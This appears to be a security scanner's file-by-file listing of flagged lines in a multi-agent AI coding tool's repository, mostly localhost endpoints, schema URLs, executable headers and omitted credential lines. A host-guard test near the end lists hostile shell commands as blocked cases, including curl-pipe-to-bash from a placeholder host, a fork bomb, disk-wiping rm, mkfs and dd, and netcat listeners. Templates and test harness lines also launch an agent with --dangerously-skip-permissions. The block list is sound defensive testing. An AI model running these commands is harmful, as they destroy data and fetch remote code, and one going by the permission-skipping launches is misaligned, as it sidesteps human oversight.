  • Network accessline 16
    *   LOKI_OTEL_ENDPOINT=http://localhost:4318 node src/observability/otel-bridge.js

src/observability/otel.js

  • Executable scriptline 1
    Executable file

src/observability/siem-export.js

  • Executable scriptline 1
    Executable file
  • Network accessline 365
    datadog(opts) {     const o = opts || {};     const endpoint = o.endpoint || 'http://localhost:4318';
  • Network accessline 366
    const o = opts || {};     const endpoint = o.endpoint || 'http://localhost:4318';     const vars = {
  • Network accessline 367
    const endpoint = o.endpoint || 'http://localhost:4318';
  • Network accessline 385
    /**    * Honeycomb OTLP/HTTP. Honeycomb ingests OTLP directly at    * https://api.honeycomb.io (or api.eu1.honeycomb.io). Auth via the
  • Network accessline 386
    * Honeycomb OTLP/HTTP. Honeycomb ingests OTLP directly at    * https://api.honeycomb.io (or api.eu1.honeycomb.io). Auth via the    * x-honeycomb-team header; dataset via x-honeycomb-dataset for metrics.
  • Network accessline 387
    * https://api.honeycomb.io (or api.eu1.honeycomb.io). Auth via the
  • Network accessline 390
    honeycomb(opts) {     const o = opts || {};     const endpoint = o.endpoint || 'https://api.honeycomb.io';
  • Network accessline 391
    const o = opts || {};     const endpoint = o.endpoint || 'https://api.honeycomb.io';     const headers = [];
  • Network accessline 392
    const endpoint = o.endpoint || 'https://api.honeycomb.io';

src/observability/spans.js

  • Executable scriptline 1
    Executable file

src/plugins/agent-plugin.js

  • Executable scriptline 1
    Executable file

src/plugins/gate-plugin.js

  • Executable scriptline 1
    Executable file

src/plugins/index.js

  • Executable scriptline 1
    Executable file

src/plugins/integration-plugin.js

  • Executable scriptline 1
    Executable file

src/plugins/loader.js

  • Executable scriptline 1
    Executable file

src/plugins/mcp-plugin.js

  • Executable scriptline 1
    Executable file

src/plugins/schemas/agent.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

src/plugins/schemas/integration.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

src/plugins/schemas/mcp_tool.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

src/plugins/schemas/quality_gate.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

src/plugins/validator.js

  • Executable scriptline 1
    Executable file
  • Network accessline 286
    if (typeof config.webhook_url === 'string') {             const url = config.webhook_url.toLowerCase();             if (!url.startsWith('https://') && !url.startsWith('http://localhost') && !url.startsWith('http://127.0.0.1')) {
  • Network accessline 287
    const url = config.webhook_url.toLowerCase();             if (!url.startsWith('https://') && !url.startsWith('http://localhost') && !url.startsWith('http://127.0.0.1')) {                 errors.push('Security: webhook_url must use HTTPS or 
  • Network accessline 288
    if (!url.startsWith('https://') && !url.startsWith('http://localhost') && !url.startsWith('http://127.0.0.1')) {

src/policies/approval.js

  • Executable scriptline 1
    Executable file
  • Network accessline 184
    this._state.requests.push(request);
  • Network accessline 339
    */   getPendingRequests() {     return this._state.requests.filter(function (r) {
  • Network accessline 340
    getPendingRequests() {     return this._state.requests.filter(function (r) {       return r.status === 'pending';
  • Network accessline 341
    return this._state.requests.filter(function (r) {

src/policies/check.js

  • Executable scriptline 1
    #!/usr/bin/env node

src/policies/claude_permissions.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Instruction override signalline 102
    env = env || process.env;     var warnings = [];     if (webPolicyOff(env)) return { args: ['--dangerously-skip-permissions'], warnings: warnings };
  • Instruction override signalline 103
    var warnings = [];     if (webPolicyOff(env)) return { args: ['--dangerously-skip-permissions'], warnings: warnings };     var domains;
  • Instruction override signalline 104
    if (webPolicyOff(env)) return { args: ['--dangerously-skip-permissions'], warnings: warnings };
  • Instruction override signalline 112
    warnings.push('LOKI_WEB_ALLOW_DOMAINS is enforced only with LOKI_PERMISSION_POLICY=compiled; the legacy route keeps WebFetch and WebSearch denied');     }     return { args: ['--dangerously-skip-permissions', '--disallowedTools', ['WebFetch
  • Instruction override signalline 113
    }     return { args: ['--dangerously-skip-permissions', '--disallowedTools', ['WebFetch', 'WebSearch'].concat(CRED_DENY).join(',')], warnings: warnings }; }
  • Instruction override signalline 114
    return { args: ['--dangerously-skip-permissions', '--disallowedTools', ['WebFetch', 'WebSearch'].concat(CRED_DENY).join(',')], warnings: warnings };

src/policies/cost.js

  • Executable scriptline 1
    Executable file
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 189
    // Strip protocol/host and trailing .git, then take the owner segment.       // Handles: git@host:owner/repo.git, https://host/owner/repo(.git), ssh://...
  • Network accessline 190
    // Handles: git@host:owner/repo.git, https://host/owner/repo(.git), ssh://...

src/policies/engine.js

  • Executable scriptline 1
    Executable file

src/policies/index.js

  • Executable scriptline 1
    Executable file

src/policies/types.js

  • Executable scriptline 1
    Executable file

src/protocols/a2a/agent-card.js

  • Executable scriptline 1
    Executable file
  • Network accessline 31
    this._name = opts.name || 'Loki Mode';     this._description = opts.description || 'Multi-agent autonomous system by Autonomi';     this._url = opts.url || 'http://localhost:8080';
  • Network accessline 32
    this._description = opts.description || 'Multi-agent autonomous system by Autonomi';     this._url = opts.url || 'http://localhost:8080';     this._version = opts.version || '1.0.0';
  • Network accessline 33
    this._url = opts.url || 'http://localhost:8080';

src/protocols/a2a/artifacts.js

  • Executable scriptline 1
    Executable file

src/protocols/a2a/client.js

  • Executable scriptline 1
    Executable file

src/protocols/a2a/index.js

  • Executable scriptline 1
    Executable file

src/protocols/a2a/streaming.js

  • Executable scriptline 1
    Executable file

src/protocols/a2a/task-manager.js

  • Executable scriptline 1
    Executable file

src/protocols/auth/oauth.js

  • Executable scriptline 1
    Executable file
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]

src/protocols/mcp-circuit-breaker.js

  • Executable scriptline 1
    Executable file

src/protocols/mcp-client-manager.js

  • Executable scriptline 1
    Executable file

src/protocols/mcp-client.js

  • Executable scriptline 1
    Executable file

src/protocols/mcp-server.js

  • Executable scriptline 1
    Executable file
  • Access to secretsline 136
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]

src/protocols/resources/continuity.js

  • Executable scriptline 1
    Executable file

src/protocols/resources/memory.js

  • Executable scriptline 1
    Executable file

src/protocols/tools/agent-metrics.js

  • Executable scriptline 1
    Executable file

src/protocols/tools/checkpoint-restore.js

  • Executable scriptline 1
    Executable file

src/protocols/tools/project-status.js

  • Executable scriptline 1
    Executable file

src/protocols/tools/quality-report.js

  • Executable scriptline 1
    Executable file

src/protocols/tools/start-project.js

  • Executable scriptline 1
    Executable file

src/protocols/transport/sse.js

  • Executable scriptline 1
    Executable file
  • Network accessline 32
    this._corsOrigin = (options && options.corsOrigin !== undefined)       ? options.corsOrigin       : 'http://localhost:' + ((options && options.port) || 8421);
  • Network accessline 33
    ? options.corsOrigin       : 'http://localhost:' + ((options && options.port) || 8421);     this._server = null;
  • Network accessline 34
    : 'http://localhost:' + ((options && options.port) || 8421);

src/protocols/transport/stdio.js

  • Executable scriptline 1
    Executable file

src/protocols/untrusted.js

  • Executable scriptline 1
    Executable file

state/__init__.py

  • Executable scriptline 1
    Executable file

state/index.ts

  • Executable scriptline 1
    Executable file

state/manager.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 1878
    [Credential-related source omitted]

state/manager.ts

  • Executable scriptline 1
    Executable file

state/sqlite_backend.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 29
    [Credential-related source omitted]

swarm/__init__.py

  • Executable scriptline 1
    Executable file

swarm/adjuster.py

  • Executable scriptline 1
    Executable file

swarm/bft.py

  • Executable scriptline 1
    Executable file

swarm/calibration.py

  • Executable scriptline 1
    Executable file

swarm/classifier.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 234
    [Credential-related source omitted]

swarm/cli.py

  • Executable scriptline 1
    #!/usr/bin/env python3

swarm/composer.py

  • Executable scriptline 1
    Executable file

swarm/intelligence.py

  • Executable scriptline 1
    Executable file

swarm/messages.py

  • Executable scriptline 1
    Executable file

swarm/patterns.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 756
    [Credential-related source omitted]

swarm/performance.py

  • Executable scriptline 1
    Executable file

swarm/registry.py

  • Executable scriptline 1
    Executable file

swarm/sycophancy.py

  • Executable scriptline 1
    Executable file

templates/README.md

  • Instruction override signalline 8
    # Launch with any template claude --dangerously-skip-permissions
  • Instruction override signalline 9
    claude --dangerously-skip-permissions

templates/chrome-extension.md

  • Network accessline 133
    "tabs": [         {           "url": "https://example.com",
  • Network accessline 134
    {           "url": "https://example.com",           "title": "Example Page",
  • Network accessline 135
    "url": "https://example.com",
  • Network accessline 136
    "title": "Example Page",           "favIconUrl": "https://example.com/favicon.ico"         }
  • Network accessline 137
    "favIconUrl": "https://example.com/favicon.ico"

templates/discord-bot.md

  • Network accessline 87
    # Discord Bot Configuration # Get these from https://discord.com/developers/applications
  • Network accessline 88
    # Get these from https://discord.com/developers/applications

templates/rest-api-auth.md

  • Network accessline 112
    # CORS CORS_ORIGIN=http://localhost:3000
  • Network accessline 113
    CORS_ORIGIN=http://localhost:3000

templates/rest-api.md

  • Network accessline 82
    # CORS CORS_ORIGIN=http://localhost:5173
  • Network accessline 83
    CORS_ORIGIN=http://localhost:5173

templates/slack-bot.md

  • Network accessline 39
    # Get these from https://api.slack.com/apps

tests/detect-hallucinated-deps.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 34
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 35
    echo "detect-hallucinated-deps: curl unavailable; every package is UNCHECKED (not a pass)"
  • Network accessline 41
    local pkg="$1" code     case "$pkg" in ""|.*|*" "*) return 0 ;; esac     code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \
  • Network accessline 42
    case "$pkg" in ""|.*|*" "*) return 0 ;; esac     code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \             "https://registry.npmjs.org/$(printf '%s' "$pkg" | sed 's|/|%2f|g')" 2>/dev/null)" || code=""
  • Network accessline 43
    code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \
  • Network accessline 44
    "https://registry.npmjs.org/$(printf '%s' "$pkg" | sed 's|/|%2f|g')" 2>/dev/null)" || code=""
  • Network accessline 45
    # NOTE: -f is deliberately ABSENT. With -f curl exits nonzero on 404, the
  • Network accessline 58
    local pkg="$1" code     case "$pkg" in ""|-*|*" "*) return 0 ;; esac     code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \
  • Network accessline 59
    case "$pkg" in ""|-*|*" "*) return 0 ;; esac     code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \             "https://pypi.org/pypi/${pkg}/json" 2>/dev/null)" || code=""
  • Network accessline 60
    code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time "$TIMEOUT" \
  • Network accessline 61
    "https://pypi.org/pypi/${pkg}/json" 2>/dev/null)" || code=""

tests/detect-invariant-violations.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 79
    #           rm -f "$findings_file" 2>/dev/null || true
  • Dangerous shell operationline 88
    #           rm -f "$findings_file" 2>/dev/null || true
  • Dangerous shell operationline 104
    #           rm -f "$findings_file" 2>/dev/null || true

tests/detect-mock-problems.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/detect-semantic-test-problems.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 76
    #       [ -f "$detector" ] || { log_info "Semantic gate: detector not found, skipping"; rm -f "$findings_file" 2>/dev/null||true; return 0; }
  • Dangerous shell operationline 80
    #       if [ "$rc" -eq 124 ]; then log_warn "Semantic gate: timed out -- inconclusive"; rm -f "$findings_file" 2>/dev/null||true; return 0; fi
  • Dangerous shell operationline 86
    #       if [ -n "$med_low" ]; then { echo "# Semantic advisory findings (MED/LOW, non-blocking)"; echo "$med_low"; } > "$findings_file"; else rm -f "$findings_file" 2>/dev/null||true; fi

tests/detect-test-mutations.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/auto-route.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 123
    [Credential-related source omitted]

tests/min/cli-entrypoints.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/context-pack.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 192
    [Credential-related source omitted]
  • Dangerous shell operationline 206
    print(eval(sys.argv[3]) if d is not None else "no-event")' "$RUNDIR/events.jsonl" "$1" "$2" 2>&1

tests/min/decompose-and-intake.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 176
    n = int(sys.argv[1]) t, b, l = (os.environ["EPIC_TITLE"], os.environ["EPIC_BODY"], "enhancement") if n == 24 else ("Calculator v2 umbrella", "Add divide(a, b) and power(a, b) to calc.ts.", "epic") print(json.dumps({"number": n, "title": t, 
  • Network accessline 177
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Network accessline 178
    print(json.dumps({"number": n, "title": t, "body": b, "labels": [{"name": l}], "author": {"login": "founder"}, "createdAt": "2026-11-01T00:00:00Z", "url": "https://github.com/acme/search/issues/%d" % n}))' "$3" ;;
  • Network accessline 237
    B="$T/backlog" make_repo "$B" 0 git -C "$B" remote add origin https://github.com/acme/search.git
  • Network accessline 238
    make_repo "$B" 0 git -C "$B" remote add origin https://github.com/acme/search.git cat > "$T/launch-start" <<EOF
  • Network accessline 239
    git -C "$B" remote add origin https://github.com/acme/search.git
  • Network accessline 284
    const cases = {   verified: [[row("s1", "VERIFIED", 0.104, 0), row("s2", "VERIFIED", 0.204, 0)], [0.004]],   partial: [[row("s1", "VERIFIED", 0.1, 0), row("s2", "PARTIAL", 0.2, 6, { pr: "https://github.com/acme/search/pull/9" })], []],
  • Network accessline 285
    verified: [[row("s1", "VERIFIED", 0.104, 0), row("s2", "VERIFIED", 0.204, 0)], [0.004]],   partial: [[row("s1", "VERIFIED", 0.1, 0), row("s2", "PARTIAL", 0.2, 6, { pr: "https://github.com/acme/search/pull/9" })], []],   budget: [[row("s1", 
  • Network accessline 286
    partial: [[row("s1", "VERIFIED", 0.1, 0), row("s2", "PARTIAL", 0.2, 6, { pr: "https://github.com/acme/search/pull/9" })], []],
  • Network accessline 293
    printf '%s\n' "$AGG" | grep -q '^verified VERIFIED 0 | Outcome: *VERIFIED | Cost: *\$0.31 (2 slice runs + 1 planning session)$' \     && ok "outcome: every slice VERIFIED gives VERIFIED, exit 0; cost sums unrounded slice figures plus the pl
  • Network accessline 294
    && ok "outcome: every slice VERIFIED gives VERIFIED, exit 0; cost sums unrounded slice figures plus the planning session (0.104+0.204+0.004 = 0.31, not 0.30)" || bad "outcome: all-VERIFIED case wrong" printf '%s\n' "$AGG" | grep -q '^partia
  • Network accessline 295
    printf '%s\n' "$AGG" | grep -q '^partial PARTIAL 6 | Outcome: *PARTIAL | Reason: *slice s2: PARTIAL | PR: *https://github.com/acme/search/pull/9 | Cost: ' && ok "outcome: any PARTIAL slice gives PARTIAL, exit 6, with a PR line per slice PR"
  • Access to secretsline 354
    [Credential-related source omitted]
  • Access to secretsline 359
    [Credential-related source omitted]
  • Access to secretsline 360
    [Credential-related source omitted]
  • Access to secretsline 361
    [Credential-related source omitted]
  • Access to secretsline 362
    [Credential-related source omitted]

tests/min/detect-gates.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 62
    # hallucinated-deps: a curl shim answers the registry. 404 for the planted name, 200 otherwise.
  • Network accessline 63
    mkdir -p "$T/shim" "$T/deps-good" "$T/deps-bad" cat > "$T/shim/curl" <<'SH'
  • Network accessline 64
    cat > "$T/shim/curl" <<'SH'
  • Network accessline 70
    SH chmod +x "$T/shim/curl" printf '{"name":"x","version":"1.0.0","dependencies":{"left-pad":"1.3.0"}}\n' > "$T/deps-good/package.json"
  • Network accessline 71
    chmod +x "$T/shim/curl" printf '{"name":"x","version":"1.0.0","dependencies":{"left-pad":"1.3.0"}}\n' > "$T/deps-good/package.json" printf '{"name":"x","version":"1.0.0","dependencies":{"left-pad":"1.3.0","zz-hallucinated-plant":"1.0.0"}}\n

tests/min/dist-freshness.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/docker-and-zip-sources.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/engine10-e2e-stub.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]

tests/min/fixtures/context/go-ratelimit/repo/limiter/clock.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter_test.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/go-ratelimit/repo/server/handler.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/go-ratelimit/repo/server/health.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/go-ratelimit/solution/limiter/limiter.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/accounts/__init__.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/accounts/audit.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/accounts/errors.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/accounts/models.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/accounts/service.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/accounts/store.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/accounts/validate.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/repo/tests/test_service.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/solution/accounts/errors.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/solution/accounts/service.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/py-accounts/solution/accounts/store.py

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/package.json

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/src/customers.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/src/invoice.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/src/money.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/src/report.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/src/shipping.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/src/tax.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/repo/test/invoice.test.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/solution/src/invoice.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/solution/src/money.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/context/ts-invoice/solution/src/tax.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/e2e/bin/claude

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Instruction override signalline 30
    if [ "${1:-}" = "--help" ]; then   echo "Usage: claude [options] -p <prompt>"   echo "  --dangerously-skip-permissions --model <m> --settings <json> -p, --print"
  • Instruction override signalline 31
    echo "Usage: claude [options] -p <prompt>"   echo "  --dangerously-skip-permissions --model <m> --settings <json> -p, --print"   exit 0
  • Instruction override signalline 32
    echo "  --dangerously-skip-permissions --model <m> --settings <json> -p, --print"
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]

tests/min/fixtures/e2e/repo/calc.test.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/e2e/repo/calc.ts

  • Executable scriptline 1
    Executable file

tests/min/fixtures/e2e/sdk/@anthropic-ai/claude-agent-sdk-stub/claude

  • Executable scriptline 1
    #!/usr/bin/env bun
  • Access to secretsline 27
    [Credential-related source omitted]

tests/min/fixtures/e2e/vitest-bin/npx

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/fixtures/e2e/vitest-bin/vitest

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 23
    [Credential-related source omitted]

tests/min/fixtures/failures/jest-validation.txt

  • Network accessline 6
    <U+001B>[1mConfiguration Documentation:<U+001B>[0m   https://jestjs.io/docs/configuration
  • Network accessline 7
    https://jestjs.io/docs/configuration

tests/min/fixtures/opencode/bin/opencode

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 4
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]

tests/min/fixtures/stacks/go/calc/calc.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/stacks/go/calc/calc_test.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/stacks/go/cmd/main.go

  • Executable scriptline 1
    Executable file

tests/min/fixtures/stacks/maven/pom.xml

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xs
  • Network accessline 2
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

tests/min/fixtures/triage/bin/gh

  • Executable scriptline 1
    #!/usr/bin/env bash

tests/min/fixtures/triage/jira_server.py

  • Executable scriptline 1
    Executable file

tests/min/h2h-harness.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 100
    field() { python3 -I -c 'import json,sys; r=json.load(open(sys.argv[1]))["runs"][0]; print(eval(sys.argv[2]))' "$1" "$2"; }
  • Instruction override signalline 190
    check "raw-opus-low: runner exits 0" test "$?" = 0 check "raw-opus-low: correct patch passes" test "$(field "$T/low.json" 'r["pass"]')" = 1 has "raw-opus-low: runs claude --model opus --effort low" "$(cat "$T/low.argv")" "--model opus --out
  • Instruction override signalline 191
    check "raw-opus-low: correct patch passes" test "$(field "$T/low.json" 'r["pass"]')" = 1 has "raw-opus-low: runs claude --model opus --effort low" "$(cat "$T/low.argv")" "--model opus --output-format json --dangerously-skip-permissions --ef
  • Instruction override signalline 192
    has "raw-opus-low: runs claude --model opus --effort low" "$(cat "$T/low.argv")" "--model opus --output-format json --dangerously-skip-permissions --effort low"
  • Access to secretsline 197
    [Credential-related source omitted]
  • Dangerous shell operationline 269
    s() { python3 -I -c 'import json,sys; r=json.load(open(sys.argv[1]))["summary"][0]; print(eval(sys.argv[2]))' "$J" "$1"; }
  • Dangerous shell operationline 270
    runs() { python3 -I -c 'import json,sys; d=json.load(open(sys.argv[1])); print(eval(sys.argv[2]))' "$J" "$1"; }
  • Dangerous shell operationline 341
    print(eval(sys.argv[1]))' "$1"; }
  • Access to secretsline 465
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Access to secretsline 489
    [Credential-related source omitted]
  • Access to secretsline 490
    [Credential-related source omitted]
  • Network accessline 527
    ok &= any(s["license_file"] == v or s["license_file"].startswith(v.rstrip("/") + "/") for v in s["vendored_paths"])     ok &= all(re.fullmatch("[0-9a-f]{40}", s[k]) is not None for k in ("fix_commit", "parent_commit")) and "/issues/" in s["
  • Network accessline 528
    ok &= all(re.fullmatch("[0-9a-f]{40}", s[k]) is not None for k in ("fix_commit", "parent_commit")) and "/issues/" in s["issue"]     ok &= re.fullmatch("[0-9a-f]{64}", m["snapshot_sha256"]) is not None and s["upstream"].startswith("https://g
  • Network accessline 529
    ok &= re.fullmatch("[0-9a-f]{64}", m["snapshot_sha256"]) is not None and s["upstream"].startswith("https://github.com/")

tests/min/host-guard.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 23
    # Planted defects used to prove this test can fail (each reverted afterwards), all in host_guard.ts: #   1. drop the RM_WORD check; the recursive-delete-of-a-temp-root cases fail parity. #   2. drop the HOST_WORD check; docker, kill, sudo, 
  • Network accessline 24
    #   1. drop the RM_WORD check; the recursive-delete-of-a-temp-root cases fail parity. #   2. drop the HOST_WORD check; docker, kill, sudo, launchctl, brew services, nc -l and socat fail. #   3. drop the nested-shell check; the three-level s
  • Network accessline 25
    #   2. drop the HOST_WORD check; docker, kill, sudo, launchctl, brew services, nc -l and socat fail.
  • Network accessline 28
    #   5. drop the shlexBalanced check; the unclosed-quote command fails. #   6. drop the "port" raw rule; PORT=, --port, --publish and http.server fail. #   7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl |
  • Network accessline 29
    #   6. drop the "port" raw rule; PORT=, --port, --publish and http.server fail. #   7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl | sh, base64, fork bomb, #      .loki self-protection).
  • Dangerous shell operationline 30
    #   7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl | sh, base64, fork bomb,
  • Network accessline 30
    #   7. drop each "pattern" raw rule in turn; its blocked-pattern cases fail (mkfs, curl | sh, base64, fork bomb,
  • Network accessline 36
    #  12. treat a blank command as present (drop PY_BLANK); the blank and \x1c cases fail. #  13. return ALLOW under the compiled policy; the compiled case fails. #  14. put back the old regex for the curl|wget rule, /(?:curl|wget)[\s\S]*\|[\s
  • Network accessline 37
    #  13. return ALLOW under the compiled policy; the compiled case fails. #  14. put back the old regex for the curl|wget rule, /(?:curl|wget)[\s\S]*\|[\s\S]*sh/; the 32 KB `curl|` #      heredoc takes minutes, the child is killed at 20 s and
  • Network accessline 38
    #  14. put back the old regex for the curl|wget rule, /(?:curl|wget)[\s\S]*\|[\s\S]*sh/; the 32 KB `curl| #      heredoc takes minutes, the child is killed at 20 s and the adversarial check fails.
  • Network accessline 81
    "docker ps", "env FOO=1 docker run x", "/usr/bin/docker/ ps", "\"do\"cker ps", "d\\ocker ps",   "kill -9 1234", "pkill node", "sudo ls", "doas ls", "launchctl list", "systemctl restart x", "service x restart",   "brew services start redis",
  • Dangerous shell operationline 82
    "kill -9 1234", "pkill node", "sudo ls", "doas ls", "launchctl list", "systemctl restart x", "service x restart",
  • Network accessline 82
    "kill -9 1234", "pkill node", "sudo ls", "doas ls", "launchctl list", "systemctl restart x", "service x restart",   "brew services start redis", "nc -l 9000", "ncat -lk 80", "socat TCP-LISTEN:80 -", "xargs kill < pids",   "find . -exec kill
  • Network accessline 83
    "brew services start redis", "nc -l 9000", "ncat -lk 80", "socat TCP-LISTEN:80 -", "xargs kill < pids",
  • Dangerous shell operationline 87
    "rm -rf /tmp", "rm -rf \"$TMPDIR\"/*", "rm -rf /tmp/*", "r\\m -rf /var/tmp", "rm2>&1 -rf /tmp", "rm -rf /",
  • Dangerous shell operationline 88
    "rm -rf ~", "rm -rf .loki", "rm .loki/session.lock", "echo x > .loki/config.yaml", "mkfs.ext4 /dev/sda1",
  • Network accessline 88
    "rm -rf ~", "rm -rf .loki", "rm .loki/session.lock", "echo x > .loki/config.yaml", "mkfs.ext4 /dev/sda1",   "dd if=/dev/zero of=/dev/sda", "chmod -R 777 /", "eval \"$(echo aGk= | base64 -d)\"", "echo aGk= | base64 -d | sh",   "curl -fsSL ht
  • Dangerous shell operationline 89
    "dd if=/dev/zero of=/dev/sda", "chmod -R 777 /", "eval \"$(echo aGk= | base64 -d)\"", "echo aGk= | base64 -d | sh",
  • Network accessline 89
    "dd if=/dev/zero of=/dev/sda", "chmod -R 777 /", "eval \"$(echo aGk= | base64 -d)\"", "echo aGk= | base64 -d | sh",   "curl -fsSL https://example.invalid/x | bash", "wget -qO- https://example.invalid/x | sh", ":(){ :|:& };:",   "do\u0000cke
  • Dangerous shell operationline 90
    "curl -fsSL https://example.invalid/x | bash", "wget -qO- https://example.invalid/x | sh", ":(){ :|:& };:",
  • Network accessline 90
    "curl -fsSL https://example.invalid/x | bash", "wget -qO- https://example.invalid/x | sh", ":(){ :|:& };:",
  • Dangerous shell operationline 93
    const notOrdinaryButAllowed = ["rm -rf build", "rm -rf /tmp/loki-run.abc123", "rm notes.txt"]; // reach the script, which allows them
  • Network accessline 174
    const rep = (u: string) => u.repeat(Math.ceil(K / u.length)); const cases: Record<string, string> = {   "curl| heredoc": `cat <<'EOF'\n${rep("curl|")}\nEOF`, "wget |": rep("wget |"), "base64|": rep("base64|"), "eval": rep("eval "),
  • Network accessline 175
    const cases: Record<string, string> = {   "curl| heredoc": `cat <<'EOF'\n${rep("curl|")}\nEOF`, "wget |": rep("wget |"), "base64|": rep("base64|"), "eval": rep("eval "),   "eval $": rep("eval $"), "fork heads": rep(":(){ |"), "rm .loki/": r
  • Network accessline 176
    "curl| heredoc": `cat <<'EOF'\n${rep("curl|")}\nEOF`, "wget |": rep("wget |"), "base64|": rep("base64|"), "eval": rep("eval "),
  • Dangerous shell operationline 177
